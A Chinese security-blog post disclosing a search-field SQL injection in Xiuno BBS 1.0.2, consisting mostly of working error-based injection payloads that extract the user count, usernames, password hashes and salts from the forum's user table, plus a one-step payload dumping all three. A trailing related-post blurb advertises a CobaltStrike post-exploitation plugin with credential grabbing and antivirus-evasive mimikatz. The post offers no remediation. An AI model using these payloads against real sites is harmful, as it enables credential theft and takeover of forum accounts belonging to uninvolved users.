修罗(Xiuno 1.0.2)bbs 注入漏洞

  • A+
所属分类:安全博客

前段时间爆出 Xiuno bbs 后台拿shell
无意中翻了下代码发现 搜索型注入漏洞(POST)
magic_quotes_gpc = Off

获取用户个数

1
' AND (SELECT 1600 FROM(SELECT COUNT(*),CONCAT(0x6c6f7374776f6c667e,(SELECT MID((IFNULL(CAST(COUNT(*) AS CHAR),0x20)),1,50) FROM www_userfield),0x7e7430306c73,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lost'='lost

获取用户名:

1
' AND (SELECT 3849 FROM(SELECT COUNT(*),CONCAT(0x6c6f7374776f6c667e,(SELECT MID((IFNULL(CAST(username AS CHAR),0x20)),1,50) FROM www_userfield LIMIT 0,1),0x7e7430306c73,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lost'='lost

获取密码:

1
' AND (SELECT 7750 FROM(SELECT COUNT(*),CONCAT(0x6c6f7374776f6c667e,(SELECT MID((IFNULL(CAST(password AS CHAR),0x20)),1,50) FROM www_userfield LIMIT 0,1),0x7e7430306c73,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lost'='lost

获取salt:

1
' AND (SELECT 7750 FROM(SELECT COUNT(*),CONCAT(0x6c6f7374776f6c667e,(SELECT MID((IFNULL(CAST(salt AS CHAR),0x20)),1,50) FROM www_userfield LIMIT 0,1),0x7e7430306c73,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'lost'='lost

一步获取

1
' AND (SELECT 2861 FROM(SELECT COUNT(*),CONCAT((SELECT concat(0x757365726e616d653a,username,0x3b70617373776f72643a,password,0x3a,salt)  FROM www_userfield limit 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'MOBL'='MOBL

note:
LIMIT = 用户个数-1,1

xx FROM www_userfield where username='admin';

Source:wolvez.club | Author:wolvez

相关推荐: LSTAR - CobaltStrike 后渗透插件

LSTAR - Aggressor本着简化 CS 右键和方便自己集成的目的,对 Reference 里的项目进行了缝合以及二次开 (抄) 发 (袭) 并添加了虚拟机/AV 检测、主机相关密码抓取、 Cxk 限时免杀的 mimikatz 和 adduser 等功…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: